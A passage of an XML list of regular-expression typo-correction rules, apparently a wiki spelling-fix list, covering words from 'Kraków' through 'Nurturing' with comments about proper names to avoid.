<Typo disabled="Kraków" find="\b([kK])rakow\b(?<!(?:Jonah|Kenneth(?: K\.)?|46977) Krakow)(?!\s+[tT]ownship)" replace="$1raków"/><!--avoid proper names & minor planet-->
<Typo word="Kroužek" find="\b([kK])rouzek\b" replace="$1roužek"/>
<Typo disabled="Kümmel" find="\b([kK])ummel\b(?<!Bernhard Kummel)(?!\s+19\d\d\b|19\d\d\b)" replace="$1ümmel"/><!--avoid Bernhard Kummel i.e (Kummel 1964)-->
</source>
===L===
<source lang="xml">
<Typo word="La bohème" find="\bLa\s+([bB])oheme\b" replace="La $1ohème"/>
<Typo word="Labelled" find="\b([lL])abl(ed|ing)\b" replace="$1abell$2"/>
<Typo word="Laboratory" find="\b([lL])ab(?:a|or|ra)tor(ies|y)\b" replace="$1aborator$2"/>
<Typo word="Laborious" find="\b([lL])abo(?:r[iou]{1,2}|uriou)s([a-z]*)\b(?<!aborista)" replace="$1aborious$2"/>
<Typo word="Lacquer" find="\b([lL])aquer(e(?:d|rs?)|ing|s?)\b" replace="$1acquer$2"/>
<Typo word="L'Âge d'or" find="\bL'(?:[aAÂ]ge\s+(?:D[´ˈ׳᾿‘’′Ꞌꞌ`'][oO]|[dD][´ˈ׳᾿‘’′Ꞌꞌ`][oO]|[dD][´ˈ׳᾿‘’′Ꞌꞌ`]O)|[aA]ge\s+[dD][´ˈ׳᾿‘’′Ꞌꞌ`'][oO])r\b" replace="L'Âge d'or"/>
<Typo word="Laid" find="\b([lL])ayed\b" replace="$1aid"/>
<Typo word="Ländler" find="\b([lL])andler\b" replace="$1ändler"/>
<Typo word="Language" find="\b([lL])a(?:gua|ng(?:a(?:ua?)?|u(?:an?)?))gu?e(?<!anguage)(s)?\b" replace="$1anguage$2"/>
<Typo word="Large" find="\b([lL])arg(ly|st)?\b" replace="$1arge$2"/>
<Typo word="Largely" find="\b([lL])arg(?:el(?:e|le?)|le)y\b" replace="$1argely"/>
<Typo word="Larvae" find="\b([lL])avr?ae\b" replace="$1arvae"/>
<Typo word="Laser" find="\blazer(s)?\b" replace="laser$1"/>
<Typo word="Lasso" find="\b([lL])as+oo\b" replace="$1asso"/>
<Typo word="Last" find="\b([lL])(?:astr|sat)(ly)?\b" replace="$1ast$2"/>
<Typo word="Late" find="\b([lL])aste(r(?<!Laster)|st)\b" replace="$1ate$2"/><!--avoid Laster, a surname & a Transformer-->
<Typo word="Latitude" find="\b([lL])attitud(es?|inal)\b" replace="$1atitud$2"/>
<Typo word="(Col)League" find="\b([cC]oll|[lL])ea(?:g|ugu?)e([ds]?|rs?)\b(?<!Leager)" replace="$1eague$2"/><!--avoid surname Leager-->
<Typo word="(Un/Re)Learn" find="\b([lL]|[rR]el|[uU]nl)eran(ed|ing|[st]?)\b" replace="$1earn$2"/>
<Typo word="least" find="\belast\b" replace="least"/>
<Typo word="Left" find="\b([lL])efted\b" replace="$1eft"/>
<Typo word="(L/R)egion" find="\b([lrLR])eagion(s?|al(?:i(?:s(?:e[ds]?|m)|ze[ds]?)|ly|s?)|ar(?:ies|y))\b" replace="$1egion$2"/>
<Typo word="Légion d'honneur" find="\b[lL]egion\s+[dD][´ˈ׳᾿‘’′Ꞌꞌ`'][hH]onneur\b" replace="Légion d'honneur"/>
<Typo word="Legionnaire" find="(?!\bLegionaires\b)\b([lL])egionaire?(s)?\b" replace="$1egionnaire$2"/><!--avoid Oshawa Legionaires-->
<Typo word="(Il)Legitimate" find="\b([iI]ll|[lL])(?:egit(?:[ae]m[ai]|imi|m[ai])|igit(?:[ai]m[ai]|m[ai]))(c[iy][a-z]*|t[eio][a-z]*)\b" replace="$1egitima$2"/>
<Typo word="(Il)Legitima(cy/te)" find="\b([iI]ll|[lL])egit?ma(cy|te(?:ly)?)\b" replace="$1egitima$2"/>
<Typo disabled="Leibniz" find="\b[lL]eibnitz\b" replace="Leibniz"/><!--avoid town & parish Leibnitz-->
<Typo word="Leisure" find="\b([lL])iesure(ly)?\b" replace="$1eisure$2"/>
<Typo word="(Wave)Length" find="\b([lL]|[wW]avel)en(?:ght?|th)(en(?:e[dr]|ing|s?)|i(?:ly|ness)|[sy]?|w(?:ays|ise))\b" replace="$1ength$2"/>
<Typo word="Les Misérables" find="\bLes\s+Miserables\b" replace="Les Misérables"/>
<Typo word="Lethal" find="\b([lL])eathal(ity|ly)?\b" replace="$1ethal$2"/>
<Typo word="Levitate" find="\b([lL])ev[ae]tat(e[ds]?|i(?:ng|ons?)|ors?)\b" replace="$1evitat$2"/>
<Typo word="Li(k/v)elihood" find="\b([lL]i[kv])elyho+d(s)?\b" replace="$1elihood$2"/>
<Typo word="Liaison" find="\b([lL])iasi?on(s)?\b" replace="$1iaison$2"/>
<Typo word="Libel" find="\b([lL])ibell(s)?\b" replace="$1ibel$2"/>
<Typo word="Library" find="\b([lL])ib(?:ar|r(?:arr|er))(i(?:ans?|es)|y)\b" replace="$1ibrar$2"/>
<Typo word="Licen(s/c)e" find="\b([lL])isc?en([cs])(e(?:d?|e+s?|s?)|ing|ors?|ures?)\b" replace="$1icen$2$3"/>
<Typo word="Lieutenant" find="\b([lL])[eiu]{2,3}t[ae]{1,2}nt?[ae]{1,2}(?<![lL]ieutena)n(cy|ts?)\b" replace="$1ieutenan$2"/>
<Typo word="Lifetime (1)" find="\b([lL])iftime(s)?\b" replace="$1ifetime$2"/>
<Typo word="Lifetime (2)" find="\b((?:[dD]uring|[iI]n)\s*(?:h(?:er|is)|its|my|their|your))\s*life?[−―–—\s]+time\b" replace="$1 lifetime"/>
<Typo word="Lifetime (3)" find="\b([lL])ife?[−―–—\s]+time\s*([aA]chievement|[bB]an|[mM]ember)\b" replace="$1ifetime $2"/>
<Typo word="Liked" find="\b([lL])i(?:ek|uke)([ds])?\b" replace="$1ike$2"/>
<Typo word="Limit" find="\b([lL])mit([a-z]*)\b" replace="$1imit$2"/>
<Typo word="Lipizzaner" find="\b[lL]ip(?:i|piz?)zaner(s)?\b" replace="Lipizzaner$1"/>
<Typo word="Liquor" find="\b([lL])iqour(ed|ices?|s?)\b" replace="$1iquor$2"/>
<Typo word="Listen/Glisten/Moisten" find="\b([gG]l|[lL]|[mM]o|[uU]nl)istn(able|e(?:d|r(?:s(?:hips?)?)?)|ing|s?)\b" replace="$1isten$2"/>
<Typo word="(Il)Literate" find="(?!\bLitteral\b)\b([iI]ll|[lL])it(?:ara|eri?|tera)([cr]y|l(?:is[mt]s?|ly)?|t(?:es?|im?|ure))\b" replace="$1itera$2"/><!--avoid surname Litteral-->
<Typo word="Literature" find="\b([lL])itr?[ai]ture\b" replace="$1iterature"/>
<Typo word="Littérateur" find="\b([lL])it[eéèê]rateur(s)?\b" replace="$1ittérateur$2"/>
<Typo word="Little" find="(?!\bLittel\b)\b([lL])itt(?:el|tle)\b" replace="$1ittle"/><!--avoid surname Littel-->
<Typo word="Live" find="(?!\bLiev Schreiber\b)\b([lL])iev(ly)?\b" replace="$1ive$2"/><!--avoid actor Liev Schreiber-->
<Typo word="Lived" find="\b([lL])ieved\b" replace="$1ived"/>
<Typo word="(Long/Short)-lived" find="\b([lL]ong|[sS]hort)lived\b" replace="$1-lived"/>
<Typo word="Lo(ne/rd/ve/w)liness" find="(?!\bLovelines\b)\b([lL])o(ne|rd|ve|w)l(?:ine|ynes?)s\b" replace="$1o$2liness"/>
<Typo word="Loosely" find="\b([lL])osely\b" replace="$1oosely"/>
<Typo word="Love" find="\b([lL])(?:oev|v(?:eo|oe))\b" replace="$1ove"/>
</source>
===M===
<source lang="xml">
<Typo word="Mackerel" find="\b([mM])ackeral\b" replace="$1ackerel"/>
<Typo word="Macramé" find="\b([mM])acrame\b" replace="$1acramé"/>
<Typo word="Ma(d/k)e" find="\bAm([dk](?:es?|ing))\b(?<!\bAmde)" replace="Ma$1"/><!--avoid Amde-->
<Typo word="ma(d/k)e" find="\bam([dk](?:es?|ing))\b" replace="ma$1$2"/>
<Typo word="Magazine" find="\b([mM])agasine(s)?\b" replace="$1agazine$2"/>
<Typo word="Mainly" find="\b([mM])ailny\b" replace="$1ainly"/>
<Typo word="Maintain" find="\b([mM])ant(?:ai|ia)n(ab[a-z]+|e[dr]|ing|s?)\b" replace="$1aintain$2"/>
<Typo word="Maintenance" find="\b([mM])a(?:i?nt(?:a(?:in[ae]|n[ae])?|e(?:in[ae]|ne)?|ian[ae])|ntena)nce\b" replace="$1aintenance"/>
<Typo word="Majority" find="\b([mM])a(?:joro?|rjori)ty\b" replace="$1ajority"/>
<Typo word="Make" find="\b([mM])k(?:ae|ea)(s)?\b" replace="$1ake$2"/>
<Typo word="Makes" find="\b([mM])akse\b" replace="$1akes"/>
<Typo word="Mammal" find="\b([mM])amal(ian|s?)\b" replace="$1ammal$2"/>
<Typo word="(Mis)Manage_" find="\b([mM](?:ism)?)an(?:ag|ege?|ge)(d|ab(?:ility|l(?:e(?:ness)?|y))|ments?)\b" replace="$1anage$2"/>
<Typo word="Manager" find="\b([mM])anger(e(?:s(?:ess?|sess?)?)?|s?)(?<=(?:[aA](?:ccount(?:ing)?|ss(?:et|istant))|[bB](?:an[dk]|usiness)|[cC](?:lient|ost)|[eE]ngineering|[fF]o(?:o{1,9}tbal{1,9}|tbal{1,9}|rmer)|[gG]eneral|[hH]otel|[lL]and|[mM](?:a(?:rketing|terials)|iddle|oney)|[oO]ffice|[pP](?:e(?:ople|rsonnel)|ro(?:cess|duct[a-z]*|gram{1,9}e?|ject))|[rR]isk|[sS](?:ales|enior|tress|ystems?)|[tT](?:eam|ime)|[uU]pper|[wW]aste)\s{1,9}[mM]anger(?:e(?:s(?:ess?|sess?)?)?|s?))\b" replace="$1anager$2"/>
<Typo word="(Mis)Managing" find="\b([mM](?:ism)?)an(?:age|g)ing\b" replace="$1anaging"/>
<Typo word="(Out)Maneuver" find="\b([mM]|[oO]utm)an(o)?(?:e|ue?)ver(ed|ing|s?)\b" replace="$1an$2euver$3"/>
<Typo word="(Un)Manoeuvrable" find="\b([mM]|[uU]nm)anouverable\b" replace="$1anoeuvrable"/>
<Typo word="Manifestation" find="\b([mM])ani(?:fes|sfesta)tion(s)?\b" replace="$1anifestation$2"/>
<Typo word="(Re/Un)Manufacture" find="\b([mM]|[rR]em|[uU]nm)(?!anufactur)[au]n(?:a[aiou]?fr?ac?|fr?ac?|[iou][aiou]?fr?ac?)[ct]ur(ab(?:ility|le)|e(?:ab(?:ility|le)|[ds]?|rs?)|ing)\b" replace="$1anufactur$2"/>
<Typo word="Manufactures" find="\b([mM])anufact?ur([ds])?\b" replace="$1anufacture$2"/>
<Typo word="mark" find="\bmrak(s)?\b" replace="mark$1"/><!--made lowercase to avoid surnames Markes & Mrak-->
<Typo word="Marked" find="\b([mM])aked(ly)?\b" replace="$1arked$2"/>
<Typo word="Marriage" find="\b([mM])ar(?:[ae]|ia?|r(?:ai?|[ei]|r+[aei]))ge(able|s?)\b(?!\s+(?:[bB]lanc\b|[dD][e']\b))(?<!\b(?:[dD](?:es?|u)|[lL]es?|[uU]n)\s+\b[mM]ar(?:[ae]|ia?|r(?:ai?|[ei]|r+[aei]))ge(?:able|s?)\b(?!\s+(?:[bB]lanc\b|[dD][e']\b)))" replace="$1arriage$2"/><!--avoid valid French term thru use of lookaround to find French articles-->
<Typo word="Mariage (French) (1)" find="\b([mM])arriage(s)?\b(?<=\b(?:[dD](?:es?|u)|[lL]es?|[uU]n)\s+\b[mM]arriages?\b)" replace="$1ariage$2"/>
<Typo word="Mariage (French) (2)" find="\b([mM])arriage(s)?\b(?=\s+(?:[bB]lanc\b|[dD][e']\b))" replace="$1ariage$2"/>
<Typo word="Married" find="\b([mM])arryi?ed\b" replace="$1arried"/>
<Typo word="Masquerade" find="\b([mM])asquarad([a-z]+)\b" replace="$1asquerad$2"/>
<Typo word="Masturbate" find="\b([mM])asterbat([ei][a-z]*)\b" replace="$1asturbat$2"/>
<Typo word="Material" find="\b([mM](?:ater|etamater))ai?l(is(?:m|ts?)|s?)\b" replace="$1ial$2"/>
<Typo word="Mathematician" find="\b([mM])athe(?:[ae]+tic|m[ae]*tic|tic)i?an(s)?\b(?<![mM]athematicians?)" replace="$1athematician$2"/><!--avoid self-->
<Typo word="Mathematic*" find="\b([mM])ath[ae]?matica?(al[a-z]*|s?)\b(?<!Mathematica)" replace="$1athematic$2"/>
<Typo word="Mayonnaise" find="\b([mM])ayon(?:ais?|nais)se(s)?\b" replace="$1ayonnaise$2"/>
<Typo word="Mayoral" find="\b([mM])ayorial(ty)?\b" replace="$1ayoral$2"/>
<Typo word="Meant" find="\bmenat\b" replace="meant"/><!--avoid Egyptian goddess Menat-->
<Typo word="Medi(a)eval" find="\b([mM])ed(?:e(ia?)e?v[aei]|(ia)e?v[ei])l(is[mt]s?|ly)?\b" replace="$1ed$2$3eval$4"/>
<Typo word="Medicine" find="\b([mM])ed(?:acine|iciney)\b" replace="$1edicine"/>
<Typo word="Medieval" find="\b([mM])(?:ede|id(?:e|ie))vi?al\b" replace="$1edieval"/>
<Typo word="(Re/Dis)Member" find="\b([dD]ism|[mM]|[rR]em)emeber(ed|ing|s?)\b" replace="$1ember$2"/>
<Typo word="Memoir" find="\b([mM])emior(ists?|s?)\b" replace="$1emoir$2"/>
<Typo word="memorable" find="\brememberable\b" replace="memorable"/>
<Typo word="Memorable" find="\bRememberable\b" replace="Memorable"/>
<Typo word="Ménage à trois" find="\b([mM])(?:énage\s+[áa]|enage\s+[aáà])\s+trois\b" replace="$1énage à trois"/>
<Typo word="Mental" find="\b([mM])enally\b" replace="$1entally"/>
<Typo word="Mention" find="\b([mM])aintion(ed|ing|s?)\b" replace="$1ention$2"/>
<Typo word="Mercantile" find="\b([mM])ercentile\b" replace="$1ercantile"/>
<Typo word="Merchandise" find="\b([mM])e(?:cha|rche)ndi([sz])(e(?:[ds]?|rs?)|ings?)\b" replace="$1erchandi$2$3"/>
<Typo word="Mérimée" find="\bM(?:er+im+[ée]|érr?imm?e)e?\b" replace="Mérimée"/>
<Typo word="Message" find="\b([mM])es(?:a|se)g(e[drs]?|ing)\b" replace="$1essag$2"/>
<Typo word="Messaging" find="\b([mM])ess[ae]nging\b" replace="$1essaging"/>
<Typo word="Messenger" find="\b([mM])essanger(s)?\b" replace="$1essenger$2"/>
<Typo word="Metallic" find="\b([bB]im|[mM]|[nN]onm)et(?:a|tal?)l(ic(?:a(?:lly)?)?|iferous|o(?:graph[a-z]+|id[a-z]*)|urg[iy][a-z]*)\b(?<!Metaloids?)" replace="$1etall$2"/><!--avoid Metaloid(s), see [[!Vaglass!]]-->
<Typo word="Metaphor" find="\b([mM])ethaphor(ical[a-z]*|s?)\b" replace="$1etaphor$2"/>
<Typo word="Meteorite" find="\b([mM])eterorite(s)?\b" replace="$1eteorite$2"/>
<Typo word="Meteorology" find="\b([mM])eto?erolog(i(?:c[a-z]*|sts?)|y)\b" replace="$1eteorolog$2"/>
<Typo word="Metropolitan" find="\b([mM])etr(?:op(?:l(?:iti?|ti)|oli?ti)|p(?:liti|ol(?:iti?|ti)))(ans?|ic(?:al)?)\b" replace="$1etropolit$2"/>
<Typo word="Microscope" find="\b([mM])icoscop(es?|ic(?:ally)?|y)\b" replace="$1icroscop$2"/>
<Typo word="Milieu" find="\b([mM])(?:elieu|ilea?u)(x)?\b" replace="$1ilieu$2"/>
<Typo word="Military" find="\b([dD]em|[mM]|[nN]onm|[pP]aram)il(?:atar|i(?:atr|rat|t(?:er|ra?))|lit(?:[ae]r|ra?)|tar)(y|i(?:es|ly|s(?:[a-z]+|[mt]s?|tic)|z[a-z]+))\b" replace="$1ilitar$2"/>
<Typo word="Millennium_" find="\bmil(?:en?|le)ni(a(?:l[a-z]*)?|um)\b" replace="millenni$1"/>
<Typo word="M/B/Trillion" find="(?!\bMillon\b)\b([bmBM]|[tT]r)il[il]on(aires?|s)\b" replace="$1illion$2"/><!--avoid surname Millon-->
<Typo word="Mimicking" find="\b([mM])imic(ed|ing)\b" replace="$1imick$2"/>
<Typo word="Mineral" find="\b([mM])in(?:eri|ir)al(s)?\b" replace="$1ineral$2"/>
<Typo word="Miniature" find="\b([mM])in[ai]tur(es?|iz[a-z]+)\b" replace="$1iniatur$2"/>
<Typo word="Minimum" find="\b([mM])inum(a|um)\b(?<!Minuma)(?!-ku)\b" replace="$1inim$2"/><!--avoid [[!Minuma!]], [[!Minuma-ku, Saitama!]]-->
<Typo word="(Min/Max/Opt)imum" find="\b([mM](?:ax|in)|[oO]pt)i(?:miu?|nu)m(s)?\b" replace="$1imum$2"/>
<Typo word="Minion" find="\b([mM])(?:inia|yni[ao])n(s)?\b" replace="$1inion$2"/>
<Typo word="Minister (2)" find="\b((?:[cC](?:abinet|hief)|[dD]efen[cs]e|[fF](?:inance|oreign)|[pP]rime)\s+[mM])ina?ster(s)?\b" replace="$1inister$2"/>
<Typo word="Minister (1)" find="\b([mM])in(?:en?s|ins|si?)t(er(?:ed|ing|s?\b(?<![mM]insters?)))\b" replace="$1inist$2"/>
<Typo word="Ministry" find="\b([mM])in(?:en?st|i(?:nst|ste)|si?t)r(ies|y)\b" replace="$1inistr$2"/>
<Typo word="Mirror" find="\b([mM])irr?orr(ed|ing|s?)\b" replace="$1irror$2"/>
<Typo word="Miscellaneous" find="\b([mM])iscel(?:ane|lani?)ous\b" replace="$1iscellaneous"/>
<Typo word="Mischief" find="\b([mM])ischei(f|vous[a-z]*)\b" replace="$1ischie$2"/>
<Typo word="Mischievous" find="\b([mM])isch(?:ei?v[ei]?|iev[ei])?ous([a-z]*)\b" replace="$1ischievous$2"/>
<Typo word="Misogyny" find="\b([mM])ysogyn(ist|y)\b" replace="$1isogyn$2"/>
<Typo word="Missile" find="\b([mM])is[is]le(s)?\b" replace="$1issile$2"/>
<Typo word="(Ad/E/Inter/O/…)Mission" find="(?<=\b(?:[aA]d|[cC]om|[dD]e(?:ad|com|sub|trans)|[eE]|[iI]nter|[oO]|[pP]er|[rR]e(?:ad|com|sub|trans)?|[sS]ub|[tT]rans)?)mis[is](bl[ey]|on(?:ar(?:ies|y)|s?)|ve(?:ly)?)\b" replace="missi$1"/><!--cheapened expensive beginning-->
<Typo word="Misspell" find="\b([mM])is(?:-s|ss+)?pell(ed|ings?|s?)\b" replace="$1isspell$2"/>
<Typo word="Mithraic" find="\b[mM]ythraic\b" replace="Mithraic"/>
<Typo word="Mizzen" find="\bmissen\b" replace="mizzen"/><!--avoid surname Missen-->
<Typo word="Model" find="\b([mM])odle(s)?\b" replace="$1odel$2"/>
<Typo word="Modem" find="\b([mM])oderm(s)?\b" replace="$1odem$2"/>
<Typo word="Moisture" find="\b([mM])osture\b" replace="$1oisture"/>
<Typo word="Molecule" find="\b([mM])oleclu(ar|es?)\b" replace="$1olecul$2"/>
<Typo word="Moment" find="\b([mM])om(?:em|men)t(ar(?:ily|y)|s?)\b" replace="$1oment$2"/>
<Typo word="Monastery" find="\b([mM])on(?:asta?|est[ae]?)r(i(?:al|es)|y)\b" replace="$1onaster$2"/>
<Typo word="Money" find="\b([mM])oeny(ed)?\b" replace="$1oney$2"/>
<Typo disabled="Moniker" find="\b([mM])onicker(s)?\b" replace="$1oniker$2"/><!-- Disabled per https://www.dictionary.com/browse/monicker -->
<Typo word="Monkeys" find="\b([mM])onkies\b(?<!Funkie Monkies)" replace="$1onkeys"/><!--avoid Funkie Monkies-->
<Typo word="Monotype" find="\b([mM])ona?typ(es?|ic)\b" replace="$1onotyp$2"/>
<Typo word="_month" find="\bmounth(ly|s?)\b" replace="month$1"/><!--avoid Mounth-->
<Typo word="More" find="\bomre\b" replace="more"/>
<Typo word="More(over)" find="\b([mM])roe(over)?\b" replace="$1ore$2"/>
<Typo word="Alanis Morissette" find="\b[aA]lan+is\s+[mM]or+isette\b" replace="Alanis Morissette"/><!--avoid Bill Morrisette-->
<Typo word="Mortar" find="\b([mM])orter(ed|ing|s)\b" replace="$1ortar$2"/><!--avoid surname Morter-->
<Typo word="Mortgage" find="\b([mM])orgag(e[des]?|ing)\b" replace="$1ortgag$2"/>
<Typo word="Motivate" find="\b([mM])otiviat(e[ds]?|i(?:ng|on))\b" replace="$1otivat$2"/>
<Typo word="Mountain" find="\b([mM])o(?:ntai?n|u(?:ntai?ni|tain))(ee?r(?:ed|ing|s|(?<!Montaner))|ous[a-z]*|s(?:ides?)?|tops?|y?)(?!\s(?:Berton|wax))(?<!Chris\sMontan|Eva\sMontan|La\sMontan|Nils\sMontan|Patrick\sMontan|Saint-Montan)\b" replace="$1ountain$2"/><!--avoid Montan Berton/wax, Chris/Eva/La/Nils/Patrick/Saint- Montan-->
<Typo word="Movie" find="\b([mM])ovei(s)?\b" replace="$1ovie$2"/>
<Typo word="Mucous" find="\b([mM])ucuou?s\b" replace="$1ucous"/>
<Typo word="Multiple" find="\b([mM])ut?lipl(e[stx]?|i(?:able|c(?:a(?:nds?|ti[a-z]*)|ity)|e[drs])|y(?:ing)?)\b" replace="$1ultipl$2"/>
<Typo word="Multiplier" find="\b([mM])ultiple(d|rs?)\b" replace="$1ultiplie$2"/>
<Typo word="Municipal (1)" find="\b([mM])uni?(?:c[ai]?p[ai]?[ai]?la?l?e?|p[ai]?c[ai]?[ai]?la?l?e?)(?<!nicipal)([ai]?[aei]?t(?:es|ies|y))?(?<!nicipale)\b" replace="$1unicipal$2"/>
<Typo word="Municipal (2)" find="\b([mM])un(?:i(?:c(?:ipi|pi?)|nc?pi?|pi?)|cip|nicip)al([a-z]*)\b" replace="$1unicipal$2"/>
<Typo word="Murder" find="\b([mM])uder(e(?:d|rs?)|ing|s?)\b" replace="$1urder$2"/>
<Typo word="Museum" find="\b([mM])usu?em(s)?\b" replace="$1useum$2"/>
<Typo word="Musical" find="\b([mM])usci?al([es]?|ity|ly)\b(?<!Musial)" replace="$1usical$2"/><!--avoid surname Musial-->
<Typo word="Musician" find="\b([mM])uscician(s)?\b" replace="$1usician$2"/>
<Typo word="Mutilate" find="\b([mM])util[il]at(e[ds]?|i(?:ng|ons?))\b" replace="$1utilat$2"/>
<Typo word="Myriad" find="\b([mM])yraid\b" replace="$1yriad"/>
<Typo word="Mysterious" find="\b([mM])(?:ister[iy]|yster)ous([a-z]*)\b" replace="$1ysterious$2"/>
<Typo word="Mystery" find="\b([mM])ister(ies|y(?<!Mistery))\b" replace="$1yster$2"/>
</source>
===N===
<source lang="xml">
<Typo word="Name" find="\b([nN])mae([ds]?|ly)\b" replace="$1ame$2"/>
<Typo word="Napoleonic (1)" find="\b[nN]apoleonian\b" replace="Napoleonic"/>
<Typo word="(Inter)National" find="\b([iI]ntern|[nN])ato?inal([a-z]*)\b" replace="$1ational$2"/>
<Typo word="Nationality" find="\b([nN])ationalt(ies|y)\b" replace="$1ationalit$2"/>
<Typo word="(Inter)Nationally" find="\b([iI]ntern|[nN])ationall?y-" replace="$1ationally "/>
<Typo word="Native Americans" find="\bnative\s+[aA]mericans\b" replace="Native Americans"/><!--avoid singular: context dependent, additional look-around needed to reinstate-->
<Typo word="(Un)Natural" find="\b([nN]|[uU]nn)aturual(ly|s?)\b" replace="$1atural$2"/>
<Typo word="(Un)Naturally" find="\b([nN]|[uU]nn)atur(?:a|el?|uru?al?)ly\b" replace="$1aturally"/>
<Typo word="Nazareth" find="\b(?:Naze|naz[ae])re(nes?|th)\b" replace="Nazare$1"/>
<Typo word="(Un)necessary" find="\b([nN]|[uU]nn)ec+a?i?e?a?s+[ae]+r+[ae]?(?<![nN]ecessar)(ily|y)\b" replace="$1ecessar$2"/><!--Fuzzy rule, extends & completely replaces existing rule "Unnecessary"-->
<Typo word="(Un)Necessary" find="\b([nN]|[uU]nn)e(?:c(?:assa|es+e)|s+[ae]s+a)r(il)?y\b" replace="$1ecessar$2y"/>
<Typo word="Necessity" find="\b([nN])ec(?:ces?|e)sit(at(?:e[ds]?|ing)|ies|y)\b" replace="$1ecessit$2"/>
<Typo word="Née" find="([\s\(])n[eè][eèé]\b" replace="$1née"/>
<Typo word="Négligée" find="\b([nN])(?:églige|egligé)e?(s)?\b" replace="$1égligée$2"/><!--avoid [[wikt:negligee]]-->
<Typo word="Negligible" find="\b([nN])egli(?:ga)?bl([ey])\b" replace="$1egligibl$2"/>
<Typo word="(Re)Negotiate" find="\b([nN]|[rR]en)ego(?:cia|ta)(b(?:ility|l[ey])|t(?:ed?|i(?:ng|on)|or)s?|nt(?<!ciant)s?)\b" replace="$1egotia$2"/>
<Typo word="Neighbo(u)r" find="\b([nN])[ei]+[gh]*bh?(?:o?(u)?[eo]?r|ro?(u)?o?)(?<![nN]eighbou?r)(ed|hoods?|ing|l(?:iness|y)|s?)\b(?<!N(?:ebr|eiber|i(?:eb(?:hur|oer|ur)|gh?bor)))" replace="$1eighbo$2$3r$4"/>
<Typo word="Never" find="\b([nN])ver\b" replace="$1ever"/>
<Typo word="(Never/None)theless" find="\b([nN](?:ever|one))(?:th(?:e\s+)?|\s+the)\s?less\b" replace="$1theless"/>
<Typo word="New Delhi" find="\bNew\s*[dD]ehli\b" replace="New Delhi"/>
<Typo word="New" find="\b([nN])we(s)?\b(?!-|\s(?:N(?:kwo|we)|nkwo|[oO]rie)\b)(?<!Nwe)" replace="$1ew$2"/><!--avoid names Nwe- & Nwe-->
<Typo word="Newsletter" find="\b([nN])ew[ls]etter(s)?\b" replace="$1ewsletter$2"/>
<Typo word="Newspaper" find="\b([nN])e[sw]paper(m[ae]n|s?|wom[ae]n)\b" replace="$1ewspaper$2"/>
<Typo word="Newsstand" find="\b([nN])ewstand(s)?\b" replace="$1ewsstand$2"/>
<Typo word="Niccolò Machiavelli" find="\b[nN]ic+ol+o\s+[mM]ac+hi?avel+i\b" replace="Niccolò Machiavelli"/>
<Typo word="Nickel_" find="(?!\bNickle\b)\b([nN])ickle(i(?:c|ferous)|o(?:deons?|us))?\b" replace="$1ickel$2"/><!--avoid surname Nickle-->
<Typo word="Niece" find="\b([nN])eice(s)?\b" replace="$1iece$2"/>
<Typo word="Nighttime" find="\b([nN])ightime\b" replace="$1ighttime"/>
<Typo word="Ninety/teen" find="\b([nN])int(een(?:s?|ths?)|ie(?:s|ths?)|y)\b" replace="$1inet$2"/>
<Typo word="Ninth" find="\b([nN])ineth(s)?\b" replace="$1inth$2"/>
<Typo word="Noël Coward" find="\b[nN]oel [cC]oward\b" replace="Noël Coward"/>
<Typo word="Nonetheless" find="\b([nN])ontheless\b" replace="$1onetheless"/>
<Typo word="Nonoperational" find="\bunoperational\b" replace="nonoperational"/>
<Typo word="Nonoperational" find="\bUnoperational\b" replace="Nonoperational"/>
<Typo word="Nonsense" find="\b([nN])onsenc(e|ical[a-z]*)\b" replace="$1onsens$2"/>
<Typo word="North" find="\b([nN])o(?:rht|th)(east|er(?:ly|n[a-z]*)|w(?:ard|est))?\b(?<!Noth)" replace="$1orth$2"/><!--allow surname Noth-->
<Typo word="North(ea/we)stern" find="\b([nN])orth[er]+(ea|we)stern([a-z]*)\b" replace="$1orth$2stern$3"/>
<Typo word="Northern_" find="\b([nN])o(?:her|r(?:ht?h?er|the)|ther?)(ly|n(?:ers?|most)?)\b(?<!Northen)" replace="$1orther$2"/><!--avoid surname Northen-->
<Typo word="Notably" find="\b([nN])ota(?:b(?:il|le)|l)y\b" replace="$1otably"/>
<Typo word="Notice" find="\b([nN])otive([ds])?\b" replace="$1otice$2"/>
<Typo word="Notoriety" find="\b([nN])oteriety\b" replace="$1otoriety"/>
<Typo word="Nouméa" find="\b[nN]oumea\b" replace="Nouméa"/>
<Typo word="Nouveau" find="\b([nN])oveau(x)?\b" replace="$1ouveau$2"/>
<Typo word="Now" find="\b([nN])(?:owe?s|wo)\b" replace="$1ow"/>
<Typo word="Nowadays" find="\b([nN])ow\s?(a\s)?days\b" replace="$1owadays"/>
<Typo word="nth-season something" find="\b(\d+(?:[nr]d|st|th)|e(?:ight(?:eenth|h|ieth)|leventh)|f(?:i(?:ft(?:eenth|h|ieth)|rst)|o(?:rtieth|urt(?:eenth|th)))|hundredth|nint(?:eenth|h|ieth)|s(?:e(?:cond|ven)|ixt(?:eenth|h|ieth))|t(?:enth|hir(?:d|t(?:eenth|ieth))|we(?:lfth|ntieth)))\b\s+season(?=\s+(?:c(?:ast|liffhanger)|episode|finale(?!\s+loss)|premiere(?!d)))" replace="$1-season"/>
<Typo word="non-title bout/fight/match" find="\bnon\s+title(?=\s+(?:bouts?\b|fights?\b|match\b))" replace="non-title"/>
<Typo word="nth-round something" find="\b(\d+(?:[nr]d|st|th)|e(?:ight(?:eenth|h|ieth)|leventh)|f(?:i(?:ft(?:eenth|h|ieth)|rst)|o(?:rtieth|urt(?:eenth|h)))|hundredth|nint(?:eenth|h|ieth)|s(?:e(?:cond|vent(?:eenth|h|ieth))|ixt(?:eenth|h|ieth))|t(?:enth|h(?:ir(?:d|t(?:eenth|ieth))|ousandth)|we(?:lfth|ntieth)))\b\s+round(?=\s+(?:decisions?|game|knockouts?|KOs?|newspaper\s+decisions?|technical\s+knockouts?|TKOs?))" replace="$1-round"/>
<Typo word="Nuclear" find="\b([nN])ucule?ar\b" replace="$1uclear"/>
<Typo word="Nuisance" find="\b([nN])u(?:isans|sanc)e(s)?\b" replace="$1uisance$2"/>
<Typo word="Nullarbor" find="\b[nN]ullabour\b" replace="Nullarbor"/>
<Typo word="Numerical" find="\b([nN])umber[ai]cal(ly)?\b" replace="$1umerical$2"/>
<Typo word="Numerous" find="\b([nN])um(?:bero|e(?:or|rio))us([a-z]*)\b" replace="$1umerous$2"/>
<Typo word="Nuptial" find="\b([nN])uptual(s)?\b" replace="$1uptial$2"/>
<Typo word="Nurturing" find="\b([nN])utur(e[ds]?|ing)\b" replace="$1urtur$2"/>
